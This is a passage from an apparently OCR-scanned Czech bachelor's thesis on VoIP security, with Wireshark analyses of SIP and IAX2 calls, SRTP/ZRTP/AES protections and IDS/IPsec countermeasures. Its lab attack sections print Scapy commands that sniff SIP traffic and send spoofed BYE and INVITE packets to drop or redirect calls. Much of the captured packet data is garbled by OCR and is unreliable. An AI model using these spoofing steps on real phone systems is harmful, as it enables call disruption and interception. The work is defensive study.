Beer veve wvve wve. = Retransmission: False

[call fdenrifier: 1]

Timestamp: 521%

[absolute Time: Mar 15, 20010 18:1

[Lateness: -0.001493000 seconds]

outbound seq.no.: 4

Inbound seq.mo. @ 2

Type: Control (43

control subclass: stop sounds {2530

OO0 OO L& o1 d% 30 c% 00 Oc 19 8b Uc J0 OR 00 45 bR
010 00 2E cd 27 0D 00 40 11 2a Se €O a8 00 74 0 ag
020 00 c3 11 d9 11 d9 00 14 96 &2 a5 ac 00 1d 00 OO
30 14 SF 04 02 02 FF

- 495130000]

P TH LT _BRND_T0T, Pokens: £96 Mareet: 8 Profie: Defoutt

Obr. 4.3: Program Wireshark — analyza paketi [AX2
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Time | 192,168, 0.19% 192.166.0.198 I
| | 192,188.0.116

0, 000 | I8, source calle 2 1ax2: IaX, source calle 29, timestamp 3ms NEW
| (45693 » (4569
0,003 I " Iax, source calle 9 TAX2: TAX, source calle 9644, timestamp Sme AUTHREQ
| Ca 569 <
0,008 I " Iax, source calle 2 Iax2: TAX, source calle 29, timestamp 16ms AUTHREP
| Ca 569
0, 008 le " Iax, source calle 9 TAX2: TAX, source calle 9644, timestamp Sme ACCEPT
| taseg <
0,019 e " 18, source callw 2 TAX2: TAX, source calle 29, timestamp 8ms Ak
| taseg >
3.283 | | 1 TAX2: TAX, source calle 2773, timestamp Sme NEW
| | (45651 = (2569)
3,283 |< . control, source cal 1ax2: control, source calle 9633, timestamp 3286m5 RINGING
| (as89 < ¢
3,285 |< i TaX, source callw 2 TAX2: TAX, source calle 29, timestamp 31286ms ACK
| (as8s > [
3,285 | | 24 TAX2: TAX, source calle 57, timestamp Sms ACK
| | (a563) « (256%)
3,291 | | 1A%, source calls § TAXZ: TAX, Source calle 57, timastamp 16me ACCEPT
| | assa) )
3,3n | | source cal Tax?: control, source calle 57, timestimp ims RINGING
| | assa) e 1)
1,381 | | TAXZ: TAX, source calle 2773, Timestamp 16ms ACK
| | gassa)y (4569)
3,382 | | 1ax?: 1ax, source calle 3773, timestamp ims Ack
| | ¢assa)y > (4569)
3,384 |< " contral, source cal tax?: control, source calle 9644, timestamp 328ms RINGING
| a6y <-- s ¢
3,38 |< 6 rce calle 1ax2: 1ax, source calls 29, timestamp 3i80ms Ack
| €4569) mmmmmnmaa
5,208 | | al 1ax2: control, source call# 57, timestamp 192Ims ANSWER
| | (45680 <-- -=  (4569) X
5,210 | | 1A%, 2 1ax2: 1aX, source calle 2773, timestamp 192Ims ACK
| | (45693 B i e S . (4568)
15,213 | e, source cal 1ax2: contral, source call# 9644, vimestamp 5215ms stop sounds
| (45693 e (4560}
5,211 | source cal 1Ax2: contral, source call# 0644, timestamp Slléms ANSwER
| (45693 et C 111 ]
15,213 | comerel, source cal Iaxl: contral, scurce call# 9644, vimestamp 522lms stop sounds
| (45693 i C 11-.1) ]
5,211 | control, source cal Iax2: control, source calls 95644, vimestamp 5224ms unknown (0x14)
|(4569)  €------tom-mmm-eoe- (4569)
§,211 | | contral, source cal IAx2: control, source calle 2773, timestamp 1936ms unknown (Oxl14)
| (45897 « {2569)
5,110 | | 1ax, source calle 2 Iax2; IaX, source calle 2773, vimestamp 1922ms ACK
| | (4589] > (4569)
5,213 | control, source cal 1ax?: Control, source calle 9644, timestamp $21%ms stop sounds
[(456893 « (4569)
5,213 | control, source cal Tax2: control, source calle 9644, timestamp $218ms ANSWER
| (45893 2569}
5,213 e control, source cal 1ax?: Control, source calle 9644, timestamp $271ms stop sounds
| (a6} <
s.n3 |( control, source cal Tax2: control, source calle 9644, timestamp 5224ms unknown (Ox14)
|taseay < 4569)
5,213 | | contral, source cal Tax2; control, source calle 2773, timestamp 1936ms unknown (0x14)
| | (4589) = (4569)
5,22 | | 1%, source calls § TAXZ: TAX, source calle 57, timestamp 1936ms ACK
| | (4569) < (4569)
5, 300 |< ; mini packet, source Tax2: Mind packet, source calle 29, timestamp 5320ms, Raw mu-law data (G.711)
| (a56a > (456
18,597 |< ; mini packet, source Tax2: Mind packet, source calle 29, timestamp 8620ms, Raw mu-law data (G.711)
| (as6a (
8,597 | | Tax2: Mind packet, source calle 2773, timestamp 5340ms, Raw nu-law data (5.711]
| asea) > (4569)
8,618 | TAXD: TAX, source calle 57, timestamp 5339ms HANGUR
| asea) (45693
8,618 | | Tax?: TaX, source calle 2773, timestamp 57i9ms ACK
| | tds89) (45693
8,624 | 5 fax, source calle & Tax?: tax, source calle 9644, Timestamp GG63ins HanGuw
|(4569)  «-- semsmesenss
6,68 | . tax?; wind packer, source calle 29, timestamp 8640ms, aw mu-Taw daca (G.711)
| as6a
8,629 I(lsﬁgj Lax2: 1ax, source calle 29, timestamp 6633ms ack

Obr. 4.4: Prabéh hovoru dvou uzivatela v IAX2

Na obrazku 4.4 je zobrazena komunikace pfes server, kde uzivatel 203 vola
uzivatele 204. Opét je mozné ze schématu vycist ¢as jednotlivych paket pfi sestaveni
spojeni. V zavorkach jsou uvedeny druhy portt. V jednotlivych IAX2 zpravach je mozné
provést podrobnou analyzu a vycist pozadované informace jako pfi analyze protokolu SIP.
Z TAX2 streamt byl vytvofen zdznam ve formatu au, ktery je mozné piehrat v libovolném
prehravaci. V pftiloze bakalarské prace je ptilozena podoba metody INVITE z uvedeného
schématu na obrazku 4.2, zvukové zdznamy s pouzitim protokolu SIP, IAX2 a vystupni

soubory z programu Wireshark.

4.1.1 Navrh zabezpeceni odposlechu SIP protokolu

Zamérem navrhu tohoto zabezpefeni bylo vytvofeni bezpecného pienosu pro
komunikaci s pouzitim protokolu SIP mezi uzivateli pomoci softwarovych klientt,

poptipadé VoIP telefonti umoznujici pouziti protokolu SRTP. Realizace je rozdélena do
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dvou casti. Prvni je zaméfena na vyuziti SRTP, druha ZRTP protokolu. Vzhledem
k narocnosti zatizeni bylo pro demonstraci vyuzito Skolni laboratofe. Pro samotnou
realizaci byli v Asterisku vytvofeni novi wuzivatel¢é 100 (192.168.10.13), 200
(192.168.10.8). Pro komunikaci mezi ucastniky bylo vyuzito softwarového klienta
PhonerLite (www.phonerlite.de), ktery byl vzhledem k instalaci nejvhodnéjsi ze vSech
ostatnich (VoxOne, EyeBeam, Gizmo5, SIP Comunicator, Zoiper atd.)

V prvni ¢asti je vyuzit SRTP protokol (srtp.sourceforge.net), ktery byl doinstalovan
a nastaven pro zabezpecenou komunikaci prostfednictvim Asterisku v sip.conf viz. obrazek

45.

GNU nano 2.0.9 File: =sip.conf

Obr. 4.5: Nastaveni SRTP u jednotlivych uzivatelt

Vyhodou tohoto protokolu je, ze pii odposlechu je po pievedeni streamu do
zvukové podoby slySet pouze Sum. Samotna analyza programem Wireshark je na obrazku

4.6, kde je zfejmé vyuziti protokolu SRTP.

37



hovor sipsrip_1.peap - Wireshark
Be EM fon o Crober joaber Slabsics Telephony Jook bk
e EAXEE evaTli EE Aol NS % O

Fiter: wporep v Egwesson. Ces deply

Destraton Pratoosl Info
5IP/50P Request: INVITE S1pil008192.165,10.13:5060, with sessfon des
SIP stacus: 100 Trying

[ T
13 3.043856
14 5.045068
15 5.045295

21 6. 647140
22 6. GATREG
LR

5Ip Sratus: 180 Ringing

SIP/50P Sratus: 200 oK, with session description

REQUEST: ACK STpIl00RLS, 115060
G.I11 PCMA, 55

25 6. 11 Seq=

27°6. ST 5 Seqed

28 8. SRR PT=ITU=T G. 71l PCMA, SSRC=Ox37239414, Seqe73ld, Timge=2207936
78 6.697843 SHTE PT=ITU-T G711 BCMA, SSHC=OxGOADSDON, Seqedfri 21264
30 6.704513 SATR PT=ITU-T G.T11 PCMA, S5SAC . SeqeTIL5 208056
31 6. 718425 . ERTP PT=ITU-T G711 PCMA, SSRE 4, Time=2221424
32 6.725032 192,168.10.4 SHTP PT=ITU-T G.711 PCMA, S5 + 589=7316, Time=2208256
33 B.T3TEES 192.18E,10,13 SRTP PT=ITU=T G, 711 PCMA, SSAC=QxGOIDEDEE, SeQed975, Time=2271584
28 A Taa 163 1AR 1A & e ETaTTILT 2 T11 Bres  SOreivSTII0A1d  EeneT3T Timand30R414 Y

¥

» #rame 73 (224 bytes on wire, 724 byTes captured)
& Ethernet II, Srci veware_§3:92:20 (00:0c:29:83:92:20), Ost: compalE)l f2:d7:fb (00:0F:bO:F2:d7:fE)
@ Internet Protocol, Src: 192.168.10.4 (152.168.10.4), Dst: 192.168.10.13 (192.168.10.13)
E Ustr Datagram Protocel, Src Port: 11814 (11514), Dst Port: 3062 (5062)

Real-Time Transport Protocol

4 [stream setup by ste (frams 213]

10.. = version: RFC 1889 version (2)

s = Padding: False
i c... = Extension: False

.. 0000 = contributing source fdentifiers count: 0
Tier veen = Marker: True
payload Type: ITU-T G, 711 pema (&)
sequence number: 4971
[Extended sequence number: T0507]
Timestamp: 2220944

SHTP Encrypied Paviosd [srip.enc_paviead], 17 | Packeis: 306 Displaved: 257 Marked: Prafie: Defaut

Obr. 4.6: Program Wireshark — analyza paketi SRTP

V druhé casti bylo pro zabezpeCeni vyuzito protokolu ZRTP, ktery je mozné
aplikovat pomoci ZRTP patche do Asterisku, jenz je mozné ziskat pfimo od tvtrci ZRTP
protokolu (zfoneproject.com) nebo pomoci softwarového klienta Zfone (zfoneproject.com),
ktery se nainstaluje mezi Ucastnika a ustfednu a vytvoii tak mezivrstvu pro zabezpeceni
pienosu. Tento protokol navic vyuzivd Diffie-Hellmanova algoritmu pro zabezpeceni
vymény symetrického klice. Z diivodu neposkytnuti ZRTP patche do Asterisku samotnymi
vyvojaii bylo vyuzito klienta Zfone. Pfi odposlechu nové nastavenych uzivateli 100
(192.168.10.116) a 200 (192.168.10.115) je po prevedeni zdznamu slySet pouze Sum. Na
obrazku 4.7 je zobrazena analyza programem Wireshark, kde je vidét vyuziti protokolu
ZRTP. Zabezpeceni pienosu je také signalizovano v samotném Zfone viz. obrazek 4.8.

Zaznamy a analyzy z obou ¢asti navrhu zabezpeceni jsou soucasti pfilohy bakalaiské prace.

38



hovor zfane. pap - Wireshark

Be B8 fon (o Cookee foshvee Sletaso Tekpony o teb

Baaee EEXZE A+evaTl BE QD an|y B

= P

s wtp T Egwesson,. Cle dxly

[ Tew Sousce Destration Pratocsl ko
24 3408829 192.188.10.118 192,188,10,11% ZATP Hello Facket
30 3.520376 192, 166.10.115 197, 166.10.116 Hello Packer
313531670 5, 0.116 L} 0.115 i 3

= TP version: 0
vee. = RTE padding: False
seedl si0a = RTP Extension: True
Sequence: 35043
vagic Cookie: ZRTR
Source Tdentifier: Ox7Sccasss
Hessage
signature: OwS05a
Length: 29
Type: hello
< Dara
ZRTP protocol version: 1.10
client rdentifier: 1in Zfonerc 0,92
wash Image: 40687295847 ad SCERGALILCET F6FASDORDT EIRFDABEGEES. | .
2101 GEESTATSDUBOLFIECOSEMCT
sal = MiTH: False
ees@ ohy. = Passive: False
# Hash type count = 1
# cipher Type count = 1
# auth tag court = 1

l() T [rip), 1325y Facher: 593 Duplaved: 31 Marked: 4 Prafie: Defaut

Obr. 4.7: Program Wireshark — analyza paketi ZRTP

n ZFone [=10x]]|

Zfone Edit Help |

Idetecting...

Compare with partner:
ol cement
L] tobacco

ﬂ SECURE [Ad
AUDIO Rx

Secure since:
2010/05/11 13:57

Secure | Clear |

e 0 I detecting...
- ]&) |

Obr. 4.8: Program Zfone— zabezpeceni pifenosu

4.1.2 Navrh zabezpeceni odposlechu IAX2 protokolu

Tento navrh opét slouzi k zabezpeceni pfenosu proti odposlechu mezi uzivateli,
tentokrat pomoci IAX2 protokolu, jenz umoziuje Sifrovani pomoci AES s délkou klice 128
bitli (encryption=aes128). To je dostupné od verze Asterisku 1.2.4, ktera se dale rozsifovala

pres verzi 1.4.24 a 1.6.1 az po soucasnou 1.6.2, zde je navic doplnéna moznost
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pravidelného klicového stfidani (keyrotation) pro vétsi bezpecnost. Vzhledem k tomu, ze
protokol TAX, pozdé€ji TAX2 byl pitivodné vytvofen pro komunikaci mezi Asterisky,
nepodafilo se mi najit softwarového klienta, ktery by Sifrovani podporoval. Pro realizaci
ochrany pifi navazani spojeni byl vytvofen IAX2 trunk mezi  dvéma Asterisky
(192.168.10.116) a (192.168.10.5). V souborech iax.conf a extension.conf bylo provedeno
nastaveni, které je zobrazeno na obrazku 4.9. Z analyzy na obrazku 4.10 je vidét pouziti
[AX2 se Sifrovanim, dany zaznam nelze oproti nezabezpecenému piehrat. Po aktivaci jsou
zobrazeny pouze prvni pakety, odkud je mozné identifikovat volajiciho a volané¢ho. Zbytek
komunikace je Sifrovan (signalizace, autentizace, zvonéni). Analyzovany soubor je

v priloze bakalarské prace.

Soubor  Up 3 3
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havie inxds_1.peap - Wirsshark

Be Bl jew [o Caoker fraher Stbo Toehoy Tods B
BdEad EEXTE (++a¥l BEF Qa0 @B g
et a2 * Expremen., Cem Ay
Mo, - Time Towrce Testranon Teotocel Infa
& 5.935713 192.168.10. us 192.168.10.5 e 1A, source calle 16631, |1m“- 10ms NEW
9°5,936043 192.168.1 192.168.10.118 Taxz Tax, source calle 1, Timestasp 10ms urknown (0x28)
10 5.936102 192.168. 11 l.uo 167,168 10, IAXZ 1ax, source calls 18633, tinnw u-s NEW
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12 5,936650 195 198.30:118 192,168, 10 Taxz mknown (088}, Source nl . 1“3} umstm 345587 AN
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R T 1 ¥
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24 9.971123 192.168.10.116 192.168.10.5 TANZ Unknown {0x26), source call# :lun 3
25 9.971293 192.168.1 192.168.10.116 TAXZ unknown {0x7d), source calle mestasp 102 et S
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= packet Type: Full packer (1)
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100 1000 1100 1001 - cestination call: 18613
.. = Retransmissfon: False
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Timestamp: 32
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outbound seq.no. : 253
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Obr. 4.10: Program Wireshark — analyza paketi IAX2 se Sifrovanim

r

4.2 Nasilné ukonceni hovoru mezi dvéma komunikujicimi ucastniky

Tento utok byl realizovan za predpokladu pfistupu tcastnika do sit€¢. Byla vyuzita
ustfedna Asterisk (192.168.10.111), ve které byli vytvofeni dva uzivatel¢e 100
(192.168.10.115) a 200 (192.168.10.116). K samotné realizaci bylo vyuZito programu
Scapy (http://www.secdev.org/projects/scapy/), ktery je vhodnym nastrojem pro utok nejen
z diivodu jednoduché ovladatelnosti, ale i Skalou nabizenych moznosti vyuziti (odposlech,
modifikace a odesilani pakett atd.). Spolu s nim bylo pro ovéfeni realizace utoku vyuzito
programu Wireshark.

Princip tohoto utoku je zalozen na komunikaci protokolu SIP, ktera je popsana
v teoretické Casti bakalaiské prace. Odchyceni paketl pomoci programu Scapy bylo
nasledujicim piikazem:

>>> Welcome to Scapy
>>> p=sniff(filter="udp and port 5060")

Po chvili bylo odchyceni pferuseno a naslednym piikazem se ndm zobrazily prvni

zachycené pakety vzajemné komunikace:

>>>p.show()
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JO A4

Po kratké analyze pakett bylo zjiSténo, Ze pro nas utok je vhodny ACK paket ¢islo
12. Poté byl zkopirovanim obsahu pole Raw a zménou hodnoty ACK na BYE vytvoten

paket BYE, ve kterém byla zménéna jak zdrojova, tak cilova adresa serveru i i€astnika:

>>> paket=IP(src="192.168.10.115" dst="192.168.10.111")/UDP(sport=5060,dport=5060)/raw
Poté byl jednoduchym ptikazem zaslan paket do site:

>>> send(paket)
éent 1 packets.

Na obrazku 4.11 je analyza komunikace programem Wireshark, kde je vidét
uspésna realizace provedeného utoku. Jakmile server (Asterisk) obdrzel upraveny paket
BYE od jednoho ucastnika, poslal druhému odpovéd’ 200 OK a tim doSlo k pferuSeni
hovoru. Avsak ucastnik 100 stale posilal RTP pakety. Pivodni paket ACK spolu s nové

vytvofenym paketem BYE a souborem programu Wireshark je souc¢ésti piilohy bakalarské

prace.

slp_sitok_BYE - Wireshark
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11535 113. 338586 1P Status: 200 O%
11636 113. 346322 RTP PT=ITU-T G, 711 PCMA, SSRC=OX209F30LY, SequiSO87, Time=120351
11637 113.355336 wTe PT=ITU-T 6,711 PCHMA, SSRC=OXETEASEAD, S0qm=54118, Times204945
11638 113, 365465 TP PT=ITU-T G.T11 PCMA, SSRCOX 5, SeqedB0E6, Time=120591
.......... P e v T mrus' meme_nuriRatean Pad_tanan wies_ananee
»

i Frame 11634 (532 bytes on wire, 332 bytes captured)
¥ Ethernet II, Src: Giga-Byt_Slied:4l (00:1a:4d:S1:edid4l), DSt: Giga-Byt_4d:92:143 (00:1la:4d:4d:92:43)
W Internet Protocol, Sred 192.168.10.115 (152.168,10.115), Dst: 162,168.10.111 (152.168.10,111)
= User Datagram Protocol, Src Fort: sip (50600, OsT Port: sip (5060
source port: sip (3060)
oestinatien port: sip (50600
Length: 498
# Checksum: 0x92c2 [validation disabled]
i Sessfon Initfation Protocol
| o request-Line: BYT sip:200M192,168,10,111 SIR/2,
W Message Header
= sessfon Initiation Frotocal (SIF as raw Text)

BY¥E s1p12000107.168.10.111 £18,/2.0\F\n
via: SIP/2.0/

Max-Forw

contact 2.168.10. 1161 5081 r inctance=10820647F cdf e6c5; Lranspor LD rin
To: X S5.10.111»; tag=as0cobs22f'r'n

From: «<sipil 8. 10,1162 $0613 r instance=a082964 7 Fedfe6es: transpor t=Ui=: tag=28056567 34rn
call-10: 3807e30FT0bbZ0R320F cdTe2066dbA0AR152. 166. 10,1114 r\n

cseq: 3 EvE\rin
usEr-AGENT: Zoiper rev.5415\.rn -
0020 Oa 6f 13 ¢2 13 c2 01 f2 92 c2 CHERTREEEII -~
0030 TR 0 3135
0040 RNV 1 0
005 44 50 2
0080 2 31 51 36 33 1% 30 &
AnTA  3E 3V 3% Z3 73 R4 £- E3 e 34 s A Re 37 33 &3 &) -1
) 5T Reguest Lne {50 AisguestLnel, 36 bites Packets: 15311 Desplaved: 15530 Marked: 0 Profie: Defaut

Obr. 4.11: Program Wireshark — analyza ukonceni hovoru
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4.3 Presmérovani hovoru pres SIP protokol

Dalsim utokem bylo za ucasti Asterisku (192.168.10.4) pfesmérovani hovoru, kde
byli vytvoreni uzivatelé 100 (192.168.10.111) a 200 (192.168.10.115). Pro realizaci byl
piipraven treti utoénik xxx (192.168.10.116), ktery se naboural do komunikace a
piresméroval dané RTP pakety. Pro cely utok bylo vyuZito programu Scapy a Wireshark.
Dtlezitym prvkem tohoto ukolu je podvrhnuti paketu INVITE dfive, nez Gi¢astnik na druhé
strané¢ pfijme hovor. Obdobnym piikazem jako u pfedchoziho utoku byly odchyceny
pakety:

>>> Welcome to Scapy
>>> p=sniff(filter="udp and port 5060")

Bylo zjisténo, ze pro nas utok je vhodny paket Cislo 1. Zde byl opét zkopirovanim
obsahu pole Raw a zménou hodnoty adresy uzivatele 200 (192.168.10.115) na tto¢nika xxx
(192.168.10.116) vytvofen novy paket, ve kterém byla zménéna jak zdrojova, tak cilova

adresa serveru 1 ucastnika:

>>> paket=IP(src="192.168.10.116",dst="192.168.10.111")/UDP(sport=5060,dport=5060)/raw

Nakonec byl paket zaslan do sité. Z obrazku 4.12 je vidét tispésna realizace utoku,
kdy se mezi dva komunikujici uzivatele naboura treti uto¢nik. Pivodni paket INVITE je
spolu s nové vytvofenym paketem INVITE a souborem programu Wireshark soucasti

piilohy bakalaiské prace.
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T presmérovini.peap - Wireshark

fde [t Yew Go Captwe dnshze Stabistcs Telephony fook lieb

RN NN BX2E 4+ T2 | RE QcaapD 88 g &

Fiter: | s ri v Egwesan.. Oea Aooly

Mo, - Time Sowce Destratin Pritocd Info -
16 6. 316367 192.168.10,115 192.168.10.4 sIP Request: ACK 5111008192, 168, 10,4} Lr anspor LU0
17 6.316373 192.168.10.115 192,168, 1 S1F/S0F REqUesT: xlnr:t( xlp 1008192, 168, 10. 43 Transport=voe, with ses
18 &.318333 192.188.10.4 192,188, 1 -ll! SIP Status: 100 Tr:
19 6, 318339 192.168,10.4 192.168,10.111 SIP/5DP RAGUAST vt lia 1008192, 168. 10,1113 5061; rinstance-3lcash
20 6:372402 192,165.10.111 192.168,10.4 SIR Status: 180 Ringing
21 6399271 192.168.10.4 192,168.10.115 SIP Status: 180 Mnging
119 66, 326158 192, 168,10,111 192,168,104 STP Statys: 180 Ringing
299 105, 273007 192.168.10,114 192.168.10.111 SIP/SDP Request: INVITE 5ip:1008192.108.10.4; transport-uoe, with ses
300 165. 277515 192. 68.10.111 192.168.10. 11 SIF STATUs: 180 ringing
330 176, 211053 97,168.10.111 192.168.10.11 SIP/SOP L description
340176, 327232 15516810, 111 197.168.10.11 RTP PT=GSM 06,10, SSAC=0x5017B29E, Seqe=62023, Time=19728E1152
341 176, 349514 192, 166.10.111 192.168.10.116 KYP PT=G5K 06.10, SSRC=0x30L! ?SME Seq-62024, Time=-1972861312
342 176, 166553 92.168.10.111 192.168.10.116 RTR PTeGSN 0B.10, SSACe0x3017824E, Seqe62025, Times1972881472
343 176, 386543 192 168.10.111 192.168.10.116 RTF PT=G5M 06,10, SSRC=0XS017B24E, S5€q=62026, TIme=19728B1632
344 176, 406858 192,168, 10,111 192.168,10,115 RTR PT=GEN 06,10, SERC=0x5017B24E, Seqe62027, Times19728R1782
346 176, 426819 192.168,10,111 192.168,10.110 ETF PT=GSM 06,10, SSRC~Ux3UL/BZ9E, Seq-42008, Time=19/I851952
347 176. 447168 192.168.10.111 192.168.10.116 TR PTeGEM 06,10, SSACeOXSOITEZAF, Seqe82029, Time=1972882117
348 176467154 192.168.10.111 192.168.10.116 RTP PT=GSM 06,10, SSRC-0XS017B24E, 56q-62010, Time-1972882272
349 176, 487141 192,168,10,111 192,168, 10,116 RTR PTaGSM 06,10, SSRC=0X5017524E, Seq=62031, Times1972862432
350 176, 507456 192,168,10.111 192.168.10,116 TP PT=GSM 06,10, SSAC=0x5017B29E, Seq=02032, Time=1972852592  +

s Frame GG (590 bytes on wire, 590 bytes captured)

il Fthernct 1T, Src: Giga-Byt_d:92:43 (00:1a:8d:4d:02:43), O=t: Giga-Byt_S1:ed:d1 (00:1a:dd:51:ed:41)
# Internet Protocol, Src: 192.168.10.111 (192.168.10.111), Dst: 197.168.10.116 (192.168.10.116)

& Internet Control Message Protocol

0000 00 1a 4d 51 ed 41 OO la 4d 4d 92 43 D& 00 45 0
0010 02 -lO Bc 22 00 00 40 01 55 a7 c0 a8 Dlﬁl ol ag
0020 Oa 74 03 03 ba 54 0D G0 00 OO 45 00 03 7 00 0L
0030 00 00 40 11 41 32 <0 a8 0Oa 74 C0 a8 0a Uf 15 CJ
DU-‘U 15 cl US ha ‘:‘i g? ;g e _‘b 49 1-‘ a5 .:U ',.i

@ =Je bn\r_mno 3 ¥ h raduu:

Profie: Default

Obr. 4.12: Program Wireshark — analyza pfesmérovani hovoru

4.4. Navrh zabezpeceni proti aktivnim ttokim

Navrhem zabezpecCeni proti ndmi realizovanym utokiim by bylo patrné zamezeni
fyzického ptistupu do sité, kde by to¢nik nemél moznost pripojit své zatizeni. To je ovSem
témer nerealizovatelné.

V dnesni dob¢ se proto stale vice vyuziva zabezpeCovacich systémil. Jednim z nich
je také systém IDS (Intrusion detection system), ktery je schopen monitorovat sit.
V mistech na siti, které maji byt monitorovany se nainstaluji sledovaci senzory. Ty se
skladaji ze softwarového klienta, ktery sleduje vSechny aktivity ucastnika, véetné systémi
souborti a jadra. V piipad¢ naruSeni sité je spravci zaslana informace o udalosti vniknuti.
Systém pouzivéa nékolik technik pro zabranéni utoku na sit, napt. sdm méni bezpecnostni
prostiedi (zména firewalu).

Dalsi vhodnou metodou zabezpeceni je vyuziti SIPS (SIP Security) a IPsec (IP
security). SIPS vyuziva vefejné klice pro ovéfeni autentizace a meni prefix identifikacni
hlavicky na sips. Pro komunikaci vyuziva protokol TLS. IPsec je protokol IP rozsitfeny o
bezpec¢nostni mechanismy pii prenosu dat. Umoziluje ochranu proti piehrani, autentizaci,

integritu, daveérnost dat a provadi automatickou spravu klici. Pro zabezpeceni vyuziva
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protokoly AH a ESP. Principy zabezpeceni TLS, AH a ESP jsou popsany v teoretické ¢asti

bakalarské prace.
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5 Zavér

Tato bakalafska prace se zabyva bezpecnosti protokolu VoIP. Jsou zde ptedstaveny
nejpouzivangjsi transportni a signalizac¢ni protokoly pouzivané v této technologii. Podrobn¢
je zde pfedstavena open source ustfedna Asterisk, kterd je tizce spjata s VoIP. VyuzZiva pro
prenos funkce popisovanych protokolil, véetné jejich mozného napadeni metody, které jsou
schopné zajistit bezpecny prenos mezi uzivateli. Dale byly uvedeny ptipadné utoky a
hrozby, se kterymi se lze v praktickém vyuzivani VolP setkat. Nedilnou soucasti
samotnych hrozeb jsou i1 ti€inna opatieni a prevence proti jejich moznému napadeni.

V praktické casti bakalaiské prace byly predvedeny vybrané utoky jak pasivni
formou odposlechu, tak i aktivni ukonceni a presmérovani hovoru. Soucasti praktické casti
byly také bezpecnostni navrhy, které by samotnym napadenim piedchazely. Mezi jedny
z nejlepsich soucasnych metod zabezpeceni pii vyuziti signaliza¢niho protokolu SIP je dle
mého nazoru a odzkouseni v praxi zabezpeceni pienosu pomoci ZRTP protokolu. Ten
rozsifuje SRTP protokol, jez je také jednou z moznych variant zabezpeceni RTP protokolu,
o vymeénu klict implementaci Diffie-Hellmanova algoritmu v hlavickach RTP paketd pro
zabezpeceni pfi vymeéné symetrického klice. Proti aktivnim atoktim, které byly ptfedvedeny
v praktické casti, je dle mého nézoru nejlepSim feSenim zabezpeCeni, omezeni moznosti
piipojeni 1uto¢nika do sité. To by v nasem piipadé¢ znamenalo, zdkaz fyzického vstupu
uto¢nika na jakékoliv rozhrani vramci pouzivané sit€. Vzhledem ktomu, ze je toto
zabezpeceni témer nerealizovatelné, je vhodnéjsi vyuzit zabezpecovaci mechanismy, jako
napf. sytém IDS pro sledovani déni v siti nebo SIPS a IPsec.

Z detailniho popisu danych utokli a moznych nebezpeci je zfejmé, ze v dnesni dobé
stale mnoho poskytovateli komunikace pomoci technologie VoIP zanedbava mozna rizika
souvisejici s timto pfenosem v realném case. Mnoho uzivatelii vyuzivajicich téchto sluzeb
si ani neuvédomuje, jakému nebezpeci jsou pii aktivnim hovoru s druhym uzivatelem
vystaveni. Doufejme, Ze vbudoucnu bude pienos zabezpeCeny pomoci takovych
mechanismtl, u kterych nebude mozna implementace zadného z popisovanych utokd.

Vystupem bakalarské prace je navrh laboratorni ulohy, kterd je zaméfena na
realizaci obrany proti odposlechu a nasilného ukonceni hovoru pii komunikaci mezi

ucastniky pomoci VoIP a Asterisku.
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A Analyza SIP a IAX programem Wireshark

A.1 Analyza SIP protokolu — metoda INVITE

= Session Initiation Protocol (SIP as raw text)

INVITE sip:202@192.168.0.116 SIP/2.0%r\n

via: sIP/2.0/UDP 192,168.0.195:5080; rport; branch=z9hG4bk4040054053%r N
From: nela <sip:201@192.168.0.116>;tag=2552105610%r"n

To: <s5ip:202@192.168.0.116>\r"n

Call-ID: 1073486184@192.168.0.195 r\n

C5eq: 20 INVITEMWr'n

Contact: <sip:201E@192.168.0.195:5060="r"n

Max-Forwards: 70%\r\n

User-agent: wengo/vl/wengophoneng/wengo/rev49cd2a2a82c9/trunk,/\rin
Expires: 120%rn

Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, MESSAGE\r‘n
Content-Type: application/sdp'rin

Content-Length: 403%ryn

NP

v=0\r\n

o=userx 20000001 20000001 IN IP4 192.168.0.195'r%n

s=A callyrn

c=IN IP4 192.168.0.195%r n

t=1268847502 1268851102%r’\n

m=audio 10600 RTP/AVP 105 0 8 3 9 101%r'n

a=ptime:20%rin

a=rtpmap:105 SPEEX/8000,/1%r"n

a=rtpmap:0 PCMU/8000/14r\n

a=rtpmap:8& PCMA/E000/1%r"n

a=rtpmap:3 GsM/8000,/1%r"%n

a=rtpmap:9 G722/8000/1 rn

a=rtpmap:101 telephone-event,/8000/1%r"n

m=video 10702 RTP/AVP 34 31%r'n

a=rtpmap:34 H263,/90000/1%r"n

a=rtpmap:31 H261,/90000/1%r"n
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A.2 Analyza IAX protokolu

= Internet Protocol, Src: 192.168.0.116 (192.168.0.116), Dst: 192.168.0.198 (192.168.0.198

version: 4
Header length: 20 bytes
# Differentiated Services Field: Oxb8 (DSCP Ox2e: Expedited Forwarding; ECN: 0x00)
Total Length: 100
Identification: 0x0562 (1378)
# Flags: 0Ox00
Fragment offset: O
Time to Tive: 64
Protocol: uDP (Ox11)
¥ Header checksum: Oxfled [correct]
source: 1982.168.0.116 {192.168.0.116)
Destination: 192.168.0.198 (192.168.0.198)
# User Datagram Protocol, Src Port: jax (4569), Dst Port: iax (4569)
= Packet type: Full packet (1)
.000 1010 1101 0101 = Source call: 277
.000 0000 0000 0000 = pestination call: O
Oeve iine e e Retransmission: False
[call identifier: 3]
Timestamp: 5
[AbsoTute Time: Mar 18, 2010 1§:17:53.567839000]
[Lateness: -0.004000000 seconds]
outbound seqg.no.: 0
Inbound seg.no.: O
= Type: IAX (6)
TAX subcTlass: NEW (1)
Information Element: Protocol version: O0x0002
Information Element: Number/extension being called: s
Information Element: Codec negotiation: DEC
Information Element: Calling number: 203
Information Element: Calling presentation: 0x01
Information Element: Calling type of number: 0x00
Information Element: Calling transit network select: 0x0000
Information Element: Name of caller: nelal
Information Element: Desired language: en
Information Element: Desired codec format: Raw mu-Taw data (G.711) (0Ox00000004)
Information Element: Actual codec capability: Ox0000000e
Information Element: CFE ADSI capability: 0x0002
Information Element: Date/Time: Mar 14, 2010 17:21:14.000000000

BEEHEEHBEBDEEBBEBHB
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A.3 Analyza SRTP protokolu

= Internet Protocol, Src: 192.168.10.4 (192.168.10.4), Dst: 192.168.10.13 (192.168.10.13)
version: 4
Header Tlength: 20 bytes
# Differentiated Services Field: Ox00 (psCp 0x00: Default; ECN: Ox00)
Total Length: 210
Identification: 0x0000 (0)
# Flags: 0x02 (pon't Fragment)
Fragment offset: 0
Time to Tive: 64
Protocol: UDP (0x11)
* Header checksum: 0xa4h9 [correct]
Source: 192.168.10.4 (192.168.10.4)
pestination: 192.168.10.13 (192.168.10.13)
